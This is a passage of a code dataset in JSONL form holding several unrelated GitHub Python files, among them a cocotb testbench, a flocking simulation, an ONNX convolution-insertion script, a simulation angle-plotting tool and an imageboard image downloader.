[\"top.waddr\",\"top.data\"], at_least=1)\ndef io_cover(we,data,addrA,addrB,waddr):\n\tcovered_XY.append(((we,data,addrA,addrB,waddr)))\n\nasync def reset(dut,cycles=1):\n\tdut.i_rst.value = 1\n\tdut.i_we.value = 0\n\tdut.i_waddr.value=0\n\tdut.i_raddr_A.value = 0\n\tdut.i_raddr_B.value = 0\n\tdut.i_data.value = 0\n\tawait ClockCycles(dut.i_clk,cycles)\n\tdut.i_rst.value = 0\n\tawait RisingEdge(dut.i_clk)\n\tdut._log.info(\"the core was reset\")\n\ndef randomize_ibus(inputs):\n\tinputs.randomize()\t\n\twe = inputs.we\n\taddrA = inputs.addrA\n\taddrB = inputs.addrB\n\tdata = inputs.data\n\twaddr = inputs.waddr\n\treturn(we,data,addrA,addrB,waddr)\n\ndef write_first_mem_model(mem,we,data,waddr,addrA,addrB):\n\t\n\tdata_outA = mem[addrA]\n\tdata_outB = mem[addrB]\n\n\tif(we == 1):\n\t\tmem[waddr] = data\n\treturn (data_outA,data_outB)\n\n@cocotb.test()\nasync def memory_randomised_test(dut):\n\t\"\"\"Verify the behavior of the memory\"\"\"\n\t\n\tcocotb.start_soon(Clock(dut.i_clk, 5, units=\"ns\").start())\n\tawait reset(dut,5)\n\n\n\t# change accordingly if initialization of reg file changes\n\tmem = np.zeros(2**g_depth,dtype=int)\n\tfor i in range(2**g_depth):\n\t\tmem[i] = i\n\n\tinputs = crv_inputs(0,0,0,0,0)\n\tdata_outA = 0\n\tdata_outB = 0\n\n\n\t(we,data,addrA,addrB,waddr) = randomize_ibus(inputs)\n\tdut.i_we.value = we\n\tdut.i_raddr_A.value = addrA\n\tdut.i_raddr_B.value = addrB\n\tdut.i_data.value = data\n\tdut.i_waddr.value = waddr\n\tawait RisingEdge(dut.i_clk)\n\tio_cover(we,data,addrA,addrB,waddr)\n\tcoverage_db[\"top.cross\"].add_threshold_callback(notify_full, 100)\n\t(data_outA,data_outB) = write_first_mem_model(mem,we,data,waddr,addrA,addrB)\t\n\n\t\n\twhile(full != True):\n\t\t(we,data,addrA,addrB,waddr) = randomize_ibus(inputs)\n\n\t\twhile (we,data,addrA,addrB) in covered_XY:\n\t\t\t(we,data,addrA,addrB,waddr) = randomize_ibups(inputs)\n\n\t\tdut.i_we.value = we\n\t\tdut.i_raddr_A.value = addrA\n\t\tdut.i_raddr_B.value = addrB\n\t\tdut.i_data.value = data\n\t\tdut.i_waddr.value = waddr\n\t\t\n\t\tawait RisingEdge(dut.i_clk)\n\t\tio_cover(we,data,addrA,addrB,waddr)\n\t\tcoverage_db[\"top.cross\"].add_threshold_callback(notify_full, 100)\n\n\t\told_data_outA = data_outA\n\t\told_data_outB = data_outB\n\t\t(data_outA,data_outB) = write_first_mem_model(mem,we,data,waddr,addrA,addrB)\n\n\t\tassert not(data_outA != int(dut.o_data_A.value))\n\t\tassert not (data_outB != int(dut.o_data_B.value))\n\n\t# coverage_db.report_coverage(cocotb.log.info,bins=True)\n\tcoverage_db.export_to_xml(filename=\"coverage_regfile.xml\")","repo_name":"npatsiatzis/MIPS","sub_path":"cocotb_sim/testbench_regfile.py","file_name":"testbench_regfile.py","file_ext":"py","file_size_in_byte":3951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13940071168","text":"from Vector import PVector # 自己编写的向量操作类\r\nimport math\r\nimport copy\r\nimport numpy as np \r\n\r\nENV_H = 500 # grid height\r\nENV_W = 900 # grid width\r\nPanicDistance = 100.0 \r\nRadius = 1.5\r\n\r\nclass Vehicle(object):\r\n def __init__(self, id, x, y):\r\n self.id = id # 车辆编号\r\n self.location = PVector(x, y) # 位置\r\n self.velocity = PVector(0.5, 0.5) # 速度\r\n self.acceleration = PVector(0, 0) # 加速度\r\n self.maxspeed = 5 # 最大速度\r\n self.maxforce = 0.2 # 最大受力\r\n self.points = [[0, 6], [-3, -3], [3, -3]] # 三角形\r\n self.wandertheta = 0\r\n self.r = 3.0\r\n self.radius = 10\r\n \r\n def seek(self, target):\r\n desired = PVector.sub_s(target, self.location) # 获取预期速度方向 \r\n desired.normalize() # 预期速度单位化\r\n desired.mult(self.maxspeed) # 乘以最大速度,即为最终预期速度\r\n steer = PVector.sub_s(desired, self.velocity) # 预期速度 - 当前速度 \r\n steer.limit(self.maxforce) # 控制操纵力不能超过maxforce\r\n # self.applyForce(steer) # 执行操作力\r\n return steer\r\n \r\n def arrive(self, target):\r\n desired = PVector.sub_s(target, self.location)\r\n d = desired.mag()\r\n desired.normalize()\r\n if d < PanicDistance:\r\n m = d * self.maxspeed / PanicDistance # map(d, 0, 100, 0, maxspeed)\r\n desired.mult(m)\r\n else:\r\n desired.mult(self.maxspeed)\r\n steer = PVector.sub_s(desired, self.velocity)\r\n steer.limit(self.maxforce)\r\n self.applyForce(steer)\r\n \r\n def wander(self):\r\n wanderR = Radius * 2\r\n wanderD = Radius * 10\r\n change = 0.3\r\n rand = -change + np.random.rand(1) * change * 2\r\n self.wandertheta += rand\r\n circleloc = copy.deepcopy(self.velocity) \r\n circleloc.setmag(wanderD)\r\n circleloc.add(self.location.x, self.location.y)\r\n\r\n h = self.velocity.heading()\r\n wx = wanderR * math.cos(self.wandertheta + h)\r\n wy = wanderR * math.sin(self.wandertheta + h)\r\n circleOffset = PVector(wx, wy)\r\n target = PVector.add_s(circleloc, circleOffset)\r\n self.seek(target)\r\n\r\n def followflow(self, flow):\r\n if flow is None: return\r\n desired = flow.lookup(self.location)\r\n desired.normalize()\r\n desired.mult(self.maxspeed)\r\n steer = PVector.sub_s(desired, self.velocity)\r\n steer.limit(self.maxforce)\r\n self.applyForce(steer)\r\n \r\n def followpath(self, path):\r\n if path is None: return\r\n predict = copy.deepcopy(self.velocity)\r\n predict.normalize()\r\n predict.mult(50)\r\n predictpos = PVector.add_s(self.location, predict)\r\n\r\n normal = None\r\n target = None\r\n worldRecord = 1000000\r\n\r\n for i in range(len(path.points)-1):\r\n a = path.points[i]\r\n b = path.points[i+1]\r\n normalPoint = self.getNormalPoint(predictpos, a, b)\r\n if normalPoint.x < a.x or normalPoint.x > b.x:\r\n normalPoint = b\r\n distance = PVector.dist_s(predictpos, normalPoint)\r\n if distance < worldRecord:\r\n worldRecord = distance\r\n normal = normalPoint\r\n\r\n dir = PVector.sub_s(b, a)\r\n dir.normalize()\r\n dir.mult(10)\r\n target = copy.deepcopy(normalPoint)\r\n target.add(dir.x, dir.y)\r\n \r\n if worldRecord > path.radius:\r\n self.seek(target)\r\n\r\n def flocking(self, vehicles):\r\n sep = self.separate_flocking(vehicles)\r\n ali = self.align_flocking(vehicles)\r\n coh = self.cohesion_flocking(vehicles)\r\n\r\n sep.mult(3.5)\r\n ali.mult(1.0)\r\n coh.mult(1.0)\r\n\r\n self.applyForce(sep)\r\n self.applyForce(ali)\r\n self.applyForce(coh)\r\n def separate_flocking(self, vehicles):\r\n desiredseparation = self.radius * 2\r\n count = 0\r\n steer = PVector(0., 0.)\r\n for other in vehicles:\r\n if other.id == self.id: continue\r\n d = PVector.dist_s(self.location, other.location)\r\n if d > 0 and d < desiredseparation:\r\n diff = PVector.sub_s(self.location, other.location)\r\n diff.normalize()\r\n diff.div(d)\r\n steer.add(diff.x, diff.y)\r\n count += 1\r\n \r\n if count > 0:\r\n steer.div(count * 1.0)\r\n if steer.mag() > 0:\r\n steer.normalize()\r\n steer.mult(self.maxspeed)\r\n steer.sub(self.velocity.x, self.velocity.y)\r\n steer.limit(self.maxforce)\r\n return steer\r\n \r\n def align_flocking(self, vehicles):\r\n neighbordist = self.radius * 5\r\n count = 0\r\n sum = PVector(0., 0.)\r\n for other in vehicles:\r\n if other.id == self.id: continue\r\n d = PVector.dist_s(self.location, other.location)\r\n if d > 0 and d < neighbordist:\r\n sum.add(other.velocity.x, other.velocity.y)\r\n count += 1\r\n if count > 0:\r\n sum.div(count * 1.0)\r\n sum.normalize()\r\n sum.mult(self.maxspeed)\r\n steer = PVector.sub_s(sum, self.velocity)\r\n steer.limit(self.maxforce)\r\n return steer\r\n else: return PVector(0., 0.)\r\n \r\n def cohesion_flocking(self, vehicles):\r\n neighbordist = self.radius * 5\r\n count = 0\r\n sum = PVector(0., 0.)\r\n for other in vehicles:\r\n if other.id == self.id: continue\r\n d = PVector.dist_s(self.location, other.location)\r\n if d > 0 and d < neighbordist:\r\n sum.add(other.location.x, other.location.y)\r\n count += 1\r\n if count > 0:\r\n sum.div(count * 1.0)\r\n return self.seek(sum)\r\n else: return PVector(0., 0.)\r\n \r\n def applyForce(self, force):\r\n self.acceleration.add(force.x, force.y) # 将力转化为加速度\r\n\r\n def update(self):\r\n self.velocity.add(self.acceleration.x, self.acceleration.y)\r\n self.velocity.limit(self.maxspeed)\r\n self.location.add(self.velocity.x, self.velocity.y)\r\n self.borders()\r\n self.acceleration.mult(0) \r\n\r\n def getNormalPoint(self, p, a, b):\r\n ap = PVector.sub_s(p, a)\r\n ab = PVector.sub_s(b, a)\r\n ab.normalize()\r\n ab.mult(ap.dot(ab))\r\n normalPoint = PVector.add_s(a, ab)\r\n return normalPoint\r\n\r\n def borders(self):\r\n if self.location.x < -self.r:\r\n self.location.x = ENV_W + self.r\r\n if self.location.y < -self.r:\r\n self.location.y = ENV_H + self.r\r\n if self.location.x > ENV_W + self.r:\r\n self.location.x = -self.r\r\n if self.location.y > ENV_H + self.r:\r\n self.location.y = -self.r\r\n\r\n # 计算车辆方向坐标,用于绘制\r\n def coords(self):\r\n angle = self.velocity.heading() - 3.1415926 / 2\r\n cos_val = math.cos(angle)\r\n sin_val = math.sin(angle)\r\n\r\n new_points = []\r\n for x_old, y_old in self.points:\r\n x_new = x_old * cos_val - y_old * sin_val\r\n y_new = x_old * sin_val + y_old * cos_val\r\n new_points.append(x_new + self.location.x)\r\n new_points.append(y_new + self.location.y)\r\n return new_points\r\n\r\n","repo_name":"XD1227/Flocking","sub_path":"Vehicle.py","file_name":"Vehicle.py","file_ext":"py","file_size_in_byte":7541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12358994084","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Sep 28 19:07:36 2021\n\n@author: quique\n\"\"\"\n\nfrom sympy import *\nfrom sympy.geometry import Point\nimport numpy as np\n\nx, s, t, r = symbols('x s t r')\nsymbols_list = [r, t, x]\n\nif __name__ == \"__main__\":\n \n objective = r**2 + t - 2*x\n \n #samples generation\n x0 = np.arange(0, 3, 1)\n x1 = np.arange(0, 2, 1)\n x2 = np.arange(0, 4, 1)\n x3 = np.arange(0, 1, 1)\n points = np.meshgrid(x0, x1, x2)\n \n #objective function evaluation\n f_obj = lambdify(symbols_list, objective, \"numpy\")\n obj_vals= f_obj(points[0], points[1], points[2])\n flat_vals = obj_vals.flatten()","repo_name":"EnriqueBM/TFM_EnriqueBauza","sub_path":"Python_Implementation/pruebas.py","file_name":"pruebas.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30776264755","text":"\"\"\"\n@Name: Dominique Ramirez\n@Date: 2021 11 29\n\n@Title: simulation_densitygram_kde.py\n\n@Description: This script is an extension and application from DAR3-7a Step 5.\nThis has been modified for use in DAR3-8. It reads the pickled Tozzini data from DAR3-7 and\nthen plots them along with the alpha/theta angles from a provided simulation.\nIt will also plot densitygrams and KDE plots for the distributions.\n\n@Updates:\n20211215 - updated to be moved from DAR3-7 into its own analysis script within the primary Code location for my work.\n\"\"\"\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport math as m\nimport pickle\nimport mdtraj as md\nimport pandas as pd\nimport seaborn as sns\nimport argparse\n\n\"\"\"\nArgument Parser set up to take in trajectory and topology information.\n\"\"\"\nparser = argparse.ArgumentParser(\n description=\"Tool to plot density-grams and KDE plots for provided simulation trajectory. Also plots the reference Tozzini landscape.\")\n\nparser.add_argument(\"-t\", help=\"Trajectory file (.xtc) plus path and extension\")\nparser.add_argument(\"-p\", help=\"Topology file (.pdb) plus path and extension\")\nparser.add_argument(\"-o\", help=\"Output DIRECTORY where to save the goods\")\nparser.add_argument(\"-n\", help=\"Number of coil models in the simulation trajectory\", type=int)\nparser.add_argument(\"-l\", help=\"Length of the coil model in the simulation. All coil models must be the same length\",\n type=int)\nparser.add_argument(\"-avg\",\n help=\"Switch to calculate the mean and standard deviation of the Tozzini and simulated angles distribution.\",\n type=bool, default=False)\nparser.add_argument(\"-plot\", help=\"Switch to plot the scatter plot of Tozzini and simulated angles.\", type=bool,\n default=False)\nparser.add_argument(\"-kde\", help=\"Switch to plot the KDE plots of Tozzini and simulated angles.\", type=bool,\n default=False)\n\nargs = parser.parse_args()\n\n\"\"\"\nOpen the pickled lists that were generated in DAR3-7a. These are considered static in the \n~/Code/AnalysisTools/Tozzini_reference_pickles/ folder. If anything changes in DAR3-7a, these referenced pickle files \nmust be updated accordingly. DAR3-7a is considered the master file for these data.\n\"\"\"\nwith open(\"./Tozzini_reference_pickles/tozzini_converted_angles/total_helix_alpha.pkl\", 'rb') as f:\n helix_alpha = pickle.load(f)\nwith open(\"./Tozzini_reference_pickles/tozzini_converted_angles/total_helix_theta.pkl\", 'rb') as f:\n helix_theta = pickle.load(f)\nwith open(\"./Tozzini_reference_pickles/tozzini_converted_angles/total_nonhelix_alpha.pkl\", 'rb') as f:\n nonhelix_alpha = pickle.load(f)\nwith open(\"./Tozzini_reference_pickles/tozzini_converted_angles/total_nonhelix_theta.pkl\", 'rb') as f:\n nonhelix_theta = pickle.load(f)\n\n\"\"\"\nOpen the provided trajectory and analyze the angles within.\n\"\"\"\ntrajectory = args.t\ntopology = args.p\noutput_dir = args.o\nnmodels = args.n\nlhelix = args.l\ntraj = md.load(trajectory, top=topology)\ntotal_sim_alphas = []\ntotal_sim_thetas = []\n\n# !!!! This part of the code analyzes my data!\n# This code was taken from coil_rama_analysis.py and repurposed for my use. See the original script for a description\n# of how the code works.\nfor n in range(1, nmodels + 1):\n for j in range(1, (lhelix - 2)):\n i = j + (lhelix * (n - 1))\n dih_coords = [i - 1, i, i + 1, i + 2]\n ang_coords = [i - 1, i, i + 1]\n # Compute the dihedrals for the given atom coordinates, grab the 0 column (0th or 1st, doesn't matter) and convert\n # to degrees. Do the same for angles. These both produce numpy arrays\n dihedral_deg = md.compute_dihedrals(traj, [dih_coords, dih_coords])[:, 0] * (180 / m.pi)\n angle_deg = md.compute_angles(traj, [ang_coords, ang_coords])[:, 0] * (180 / m.pi)\n for k in range(len(dihedral_deg)):\n total_sim_alphas.append(dihedral_deg[k])\n total_sim_thetas.append(angle_deg[k])\n # there is a potential that these lists might become very, very large in memory. Hopefully truncating the simulation\n # will help mitigate potential memory issues\nprint(f\"Total simulation alpha angles: {len(total_sim_alphas)}\")\nprint(f\"Total simulation theta angles: {len(total_sim_thetas)}\")\n\n\"\"\"\nSection to control the calculating of distribution averages and printing them. Controlled with args.avg\n\"\"\"\nif args.avg:\n print(\"Variances and comparisons of reference helix distribution to simulated helix distribution.\")\n avg_helix_ref_alpha = np.average(np.array(helix_alpha))\n std_helix_ref_alpha = np.std(np.array(helix_alpha))\n avg_helix_ref_theta = np.average(np.array(helix_theta))\n std_helix_ref_theta = np.std(np.array(helix_theta))\n\n avg_sim_alpha = np.average(np.array(total_sim_alphas))\n std_sim_alpha = np.std(np.array(total_sim_alphas))\n avg_sim_theta = np.average(np.array(total_sim_thetas))\n std_sim_theta = np.std(np.array(total_sim_thetas))\n\n print(f\"Reference alpha: {avg_helix_ref_alpha:.2f} +/- {std_helix_ref_alpha:.2f}\")\n print(f\"Simulation alpha: {avg_sim_alpha:.2f} +/- {std_sim_alpha:.2f}\")\n print(f\"Reference theta: {avg_helix_ref_theta:.2f} +/- {std_helix_ref_theta:.2f}\")\n print(f\"Simulation theta: {avg_sim_theta:.2f} +/- {std_sim_theta:.2f}\")\nelse:\n pass\n\n# ### This section is designed to create the reference Ramachandran conversion map so that I can compare my data to what\n# # is allowable\n# switch = False\n# if switch:\n# phi = np.arange(-180, 181, 0.5)\n# psi = np.arange(-180, 181, 0.5)\n# full_list = []\n#\n# for i in range(len(phi)):\n# for k in range(len(psi)):\n# full_list.append([phi[i], psi[k]])\n#\n# converted_alphas = []\n# converted_thetas = []\n#\n# for i in range(len(full_list)):\n# phi_r = full_list[i][0] * (m.pi / 180)\n# psi_r = full_list[i][1] * (m.pi / 180)\n# t_theta = tc.theta(tc.t_r, tc.y1_r, tc.y2_r, phi_r, psi_r)\n# t_alpha = tc.alpha_complex(tc.t_r, tc.y1_r, tc.y2_r, phi_r, psi_r)\n# converted_alphas.append(t_alpha) ; converted_thetas.append(t_theta)\n# else:\n# pass\n\n\n\"\"\"\nThis is for plotting the scatter plot of Tozzini angles and simulation angles. This is controlled by switch args.plot\n\"\"\"\nif args.plot:\n # Plot the angles in Tozzini space, and then save!\n fig, ax = plt.subplots(figsize=(8, 8))\n # plot the nonhelix pairs first, those will be on bottom, then plot the simulated angles to cover the nonhelix, then\n # plot the helix angles to show how much of my simulated helix angles are covered by the Tozzini Top8000 analysis\n\n ax.plot(np.array(nonhelix_alpha), np.array(nonhelix_theta), markeredgecolor='blue', markerfacecolor='blue',\n linestyle='', marker='x', markersize='0.10', label='Non-helix pseudoangles (Top8000 dataset)',\n fillstyle='full') # Non-helix Tozzini\n ax.plot(np.array(total_sim_alphas), np.array(total_sim_thetas), markeredgecolor='limegreen',\n markerfacecolor=\"limegreen\",\n linestyle='', marker='x', markersize='0.10', label='Simulation Trajectory angles',\n fillstyle='full') # Helix Tozzini\n ax.plot(np.array(helix_alpha), np.array(helix_theta), markeredgecolor='red', markerfacecolor='red',\n linestyle='', marker='x', markersize='0.10', label='Helix pseudoangles (Top8000 dataset)',\n fillstyle='full') # Simulated angles\n\n plt.xlim(-180, 180);\n plt.ylim(40, 170)\n plt.xlabel(r\"$\\alpha$ (deg)\");\n plt.ylabel(r\"$\\theta$ (deg)\")\n ax.legend(markerscale=20.0, fontsize=\"small\")\n plt.title(\"Plot of Tozzini angles from Top8000 dataset and angles from coil simulation\")\n # plt.show()\n plt.savefig(f\"{output_dir}/simulation_angles_scatterplot.png\", dpi=600)\n plt.close(\"all\")\nelse:\n pass\n\n\"\"\"\nThis is for plotting the kernel density maps for the Tozzini angles and simulated angles. Controlled by args.kde\n\"\"\"\nif args.kde:\n fig, ax = plt.subplots()\n helix_df = pd.DataFrame(list(zip(helix_alpha, helix_theta)))\n nonhelix_df = pd.DataFrame(list(zip(nonhelix_alpha, nonhelix_theta)))\n simulation_df = pd.DataFrame(list(zip(total_sim_alphas, total_sim_thetas)))\n helix_df.columns = ['alpha', 'theta']\n nonhelix_df.columns = ['alpha', 'theta']\n simulation_df.columns = ['alpha', 'theta']\n sns.set_style(\"white\")\n\n sns.kdeplot(x=nonhelix_df.alpha, y=nonhelix_df.theta, cmap='Blues', bw_adjust=0.35,\n label='Non-helix pseudoangles (Top8000 dataset)')\n sns.kdeplot(x=simulation_df.alpha, y=helix_df.theta, bw_adjust=0.35, cmap='Greens',\n label='Simulation trajectory angles')\n sns.kdeplot(x=helix_df.alpha, y=helix_df.theta, bw_adjust=0.35, cmap='Reds',\n label='Helix pseudoangles (Top8000 dataset)')\n\n plt.xlim(-180, 180);\n plt.ylim(40, 170)\n plt.legend()\n ax.set_xlabel(r\"$\\alpha$ (deg)\");\n ax.set_ylabel(r\"$\\theta$ (deg)\")\n plt.savefig(f\"{output_dir}/simulation_angles_KDE.png\", dpi=600)\n plt.close(\"all\")\nelse:\n pass\n\n","repo_name":"dora1300/code","sub_path":"code/AnalysisTools/simulation_densitygram_kde.py","file_name":"simulation_densitygram_kde.py","file_ext":"py","file_size_in_byte":9053,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32960321483","text":"import sys\nfrom concurrent.futures import ThreadPoolExecutor\nimport os.path\nimport os\nimport argparse\nimport time\nfrom itertools import chain\nfrom etaprogress.progress import ProgressBar\nfrom urllib.parse import urlparse\nfrom urllib.parse import quote\nimport urllib.request as urllib2\nfrom urllib.error import HTTPError as HTTPError\nimport re\n\n\ndef download_pic(link):\n\n page=None\n file_name=link.split(\"/\")[-1]\n\n pic_url=urllib2.Request(url_treatment(link),\n headers=headers)\n\n while not page:\n try:\n page=urllib2.urlopen(pic_url)\n except HTTPError as e:\n if e.getcode() == 503:\n time.sleep(2)\n else:\n print(e.getcode(), e.url)\n break\n\n if page and page.getcode() == 200 :\n data=page.read()\n if data:\n with open( os.path.join(path, file_name) , \"wb\") as file:\n file.write(data)\n\n bar.numerator += 1\n print(bar, end='\\r')\n sys.stdout.flush()\n\n\ndef create_dir_name(parsed_link):\n thread=parsed_link.path.split(\"/\")[-1].split(\".\")[0]\n section=parsed_link.path.split(\"/\")[1]\n host=parsed_link.hostname.split(\".\")[-2]\n\n dir_name=\"_\".join( (host, section, thread) )\n\n if os.path.split(os.getcwd())[-1] == dir_name:\n dir_name=os.getcwd()\n\n return dir_name\n\n\ndef url_treatment(pic_url):\n\n pic_url=quote(pic_url, \":/\")\n\n if pic_url.startswith(\"//\"):\n pic_url=parsed_link.scheme+\":\"+pic_url\n elif pic_url.startswith(\"../\"):\n fragments = parsed_link.geturl().split(\"/\")[:-2]\n fragments.append(pic_url.lstrip(\"../\"))\n pic_url=\"/\".join(fragments)\n elif not pic_url.startswith(\"http\"):\n pic_url=parsed_link.scheme+\"://\"+parsed_link.hostname+pic_url\n\n return pic_url\n\n\ndef mkpath(args, parsed_link):\n if args.path:\n path=args.path\n else:\n path=create_dir_name(parsed_link)\n\n if not os.path.isdir(path):\n os.makedirs(path)\n\n return path\n\n\ntypes={\"all\": (\".jpeg\", \".jpg\", \".png\", \".bmp\", \".gif\", \".webm\"),\n \"pic\": (\".jpeg\", \".jpg\", \".png\", \".bmp\"),\n \"gif\": (\".gif\", ),\n \"webm\": (\".webm\",)}\n\n\nparser = argparse.ArgumentParser(description=\"Download content from imageboard thread\")\n\nparser.add_argument(\n \"-l\",\n \"-u\",\n \"--url\",\n \"--link\",\n action='store',\n dest='thread_link',\n type=str,\n required=True,\n help='Link to thread'\n)\n\nparser.add_argument(\n \"-t\",\n \"--type\",\n action='store',\n dest='types',\n type=str,\n choices=types.keys(),\n nargs=\"*\",\n default= (\"all\",),\n required=False,\n help='Type of content'\n)\n\nparser.add_argument(\n \"-o\",\n action='store',\n dest='path',\n type=str,\n required=False,\n help='Path'\n)\n\n\n\n\nif __name__ == '__main__':\n\n args = parser.parse_args()\n\n headers={\"User-Agent\":\"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0\"}\n link=urllib2.Request(args.thread_link, headers=headers)\n parsed_link=urlparse(args.thread_link.strip().rstrip(\"/\"))\n preferred_types= tuple( chain.from_iterable( (types[type] for type in args.types) ) )\n path = mkpath(args, parsed_link)\n\n\n try:\n page=urllib2.urlopen(link)\n except HTTPError as e:\n print(\"Can't open url. Code %d\" % e.getcode() )\n exit()\n\n\n data=page.read().decode(\"utf-8\")\n blank_pattern = re.compile(r\"\")\n href_pattern = re.compile(r'href=.(.+?\\.png|.+?\\.jpg|.+?\\.jpeg|.+?\\.gif|.+?\\.webm).')\n\n reg_res=blank_pattern.findall(data)\n\n url_set = set()\n for i in reg_res:\n res = href_pattern.findall(i)\n if res and res[0].startswith(\"/\"):\n url_set.add(res[0])\n\n links={url.split(\":\")[-1] for url in url_set if url.endswith(preferred_types) and not os.path.exists( os.path.join( path, url.split(\"/\")[-1])) }\n\n bar = ProgressBar(len(links), max_width=60)\n bar.numerator = 0\n\n with ThreadPoolExecutor(max_workers=8) as executor:\n executor.map(download_pic, links)\n\n print()\n","repo_name":"TainakaDrums/chan-grabber","sub_path":"chan_grabber.py","file_name":"chan_grabber.py","file_ext":"py","file_size_in_byte":4041,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18869474654","text":"import time\n\n\ndef sort(file_path):\n start_time = time.time()\n with open(file_path) as f_in:\n list = f_in.readlines()\n list.sort(reverse=True)\n with open(file_path, 'w', encoding='utf8') as f_out:\n for sentence in list:\n f_out.write(sentence)\n list.clear()\n print(\"finished \" + file_path)\n print(\"--- {} seconds ---\".format(time.time() - start_time))\n\n\nif __name__ == '__main__':\n\n sort('/home/xuanlong/dataclean/data.t4.en-id')\n","repo_name":"zouxunlong/web_crawl","sub_path":"scripts/data_utils/t5_sort.py","file_name":"t5_sort.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34917175434","text":"from django.urls import path\nfrom . import views\nfrom django.conf.urls import url\n\napp_name = 'admin_user'\n\nurlpatterns = [\n path('', views.home, name='home'),\n path('signup/', views.signup, name='signup'),\n path('login/', views.login, name='login'),\n path('api/', views.RegisterAPI.as_view(), name='register'),\n]\n","repo_name":"smritijain412/vms","sub_path":"Project/tr1/admin_user/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13692604688","text":"import onnx\nimport netron\nimport numpy as np\n\ndef weight_gen(weight_name, weight_shape):\n weight_data = np.zeros(weight_shape).astype(np.float32)\n channel = weight_shape[1]\n kernel_index = 0\n for i in range(channel):\n weight_data[i][kernel_index][0][0] = 1\n kernel_index +=1\n\n assert(weight_data.sum() == channel)\n weight_tensor=onnx.helper.make_tensor(weight_name, onnx.TensorProto.FLOAT, weight_shape, weight_data.tobytes(), raw=True)\n return weight_tensor\n\ndef conv_gen(input_name, weight_name, output_name):\n conv_node = onnx.helper.make_node(\n 'Conv',\n inputs=[input_name, weight_name],\n outputs=[output_name],\n kernel_shape=[1, 1],\n pads = [0,0,0,0]\n )\n\n return conv_node\n\ndef onnx_insert_conv(model, input_tensor_name, weight_shape):\n output_tensor_name = \"equal_\" + input_tensor_name\n weight_name = \"weight_\" + input_tensor_name\n weight = weight_gen(weight_name, weight_shape)\n model.graph.initializer.append(weight)\n\n conv = conv_gen(input_tensor_name, weight_name, output_tensor_name)\n\n label = False\n\n for node in model.graph.node:\n for input in node.input:\n if input == input_tensor_name and node.op_type != \"Conv\":\n node.input.remove(input)\n node.input.append(output_tensor_name)\n label = True\n\n assert(label)\n\n model.graph.node.append(conv)\n return model\n\n\ndef set_input_shape(model, input_name, input_shape):\n for input in model.graph.input:\n model.graph.input.remove(input)\n\n input_layer_value_info= onnx.helper.make_tensor_value_info(input_name, 1, input_shape)\n model.graph.input.append(input_layer_value_info)\n\n return model\n\ndef shape_inference(src_path, dst_path):\n model = onnx.load(src_path)\n model = set_input_shape(model, \"input_tensor:0\", [1, 3, 224, 224])\n model = onnx.shape_inference.infer_shapes(model)\n onnx.save(model, dst_path)\n # netron.start(dst_path)\n\n\nif __name__ == \"__main__\":\n path = \"/home/mtn/suinfer_temp/resnet50.onnx\"\n new_path = \"resnet50_insert_conv.onnx\"\n resnet50_mlpert_onnx = \"resnet50_v1.onnx\"\n resnet50_mlperf_onnx_equal_conv = \"resnet50_mlperf_equal_conv.onnx\"\n\n shape_inference(resnet50_mlpert_onnx, resnet50_mlpert_onnx)\n model = onnx.load(resnet50_mlpert_onnx)\n\n # use for resnet50.onnx\n # conv_info = [(\"336\", [256, 256, 1, 1]),\n # (\"346\", [256, 256, 1, 1]),\n # (\"368\", [512, 512, 1, 1]),\n # (\"378\", [512, 512, 1, 1]),\n # (\"388\", [512, 512, 1, 1]),\n # (\"410\", [1024, 1024, 1, 1]),\n # (\"420\", [1024, 1024, 1, 1]),\n # (\"430\", [1024, 1024, 1, 1]),\n # (\"440\", [1024, 1024, 1, 1]),\n # (\"450\", [1024, 1024, 1, 1]),\n # (\"472\", [2048, 2048, 1, 1]),\n # (\"482\", [2048, 2048, 1, 1]),\n # ]\n\n conv_info = [(\"resnet_model/Relu_3:0\", [256, 256, 1, 1]),\n (\"resnet_model/Relu_6:0\", [256, 256, 1, 1]),\n (\"resnet_model/Relu_12:0\", [512, 512, 1, 1]),\n (\"resnet_model/Relu_15:0\", [512, 512, 1, 1]),\n (\"resnet_model/Relu_18:0\", [512, 512, 1, 1]),\n (\"resnet_model/Relu_24:0\", [1024, 1024, 1, 1]),\n (\"resnet_model/Relu_27:0\", [1024, 1024, 1, 1]),\n (\"resnet_model/Relu_30:0\", [1024, 1024, 1, 1]),\n (\"resnet_model/Relu_33:0\", [1024, 1024, 1, 1]),\n (\"resnet_model/Relu_36:0\", [1024, 1024, 1, 1]),\n (\"resnet_model/Relu_42:0\", [2048, 2048, 1, 1]),\n (\"resnet_model/Relu_45:0\", [2048, 2048, 1, 1]),\n ]\n\n\n for item in conv_info:\n model = onnx_insert_conv(model, item[0], item[1])\n\n model = onnx.shape_inference.infer_shapes(model)\n onnx.save(model, resnet50_mlperf_onnx_equal_conv)\n netron.start(resnet50_mlperf_onnx_equal_conv)\n\n\n\n\n","repo_name":"Elvin-Ma/Onnx_Demo","sub_path":"equal_conv_gen.py","file_name":"equal_conv_gen.py","file_ext":"py","file_size_in_byte":3853,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"10100144532","text":"# -*- coding: utf-8 -*-\n\nimport csdefine\nimport csstatus\nfrom Item.Base.ItemBase import ItemBase\n\nclass ItemSpellPosition( ItemBase ):\n\t\"\"\"\n\t对位置使用的技能物品\n\t\"\"\"\n\tdef __init__( self ):\n\t\tItemBase.__init__( self )\n\t\tself.skillID = 0\n\t\n\tdef init( self, 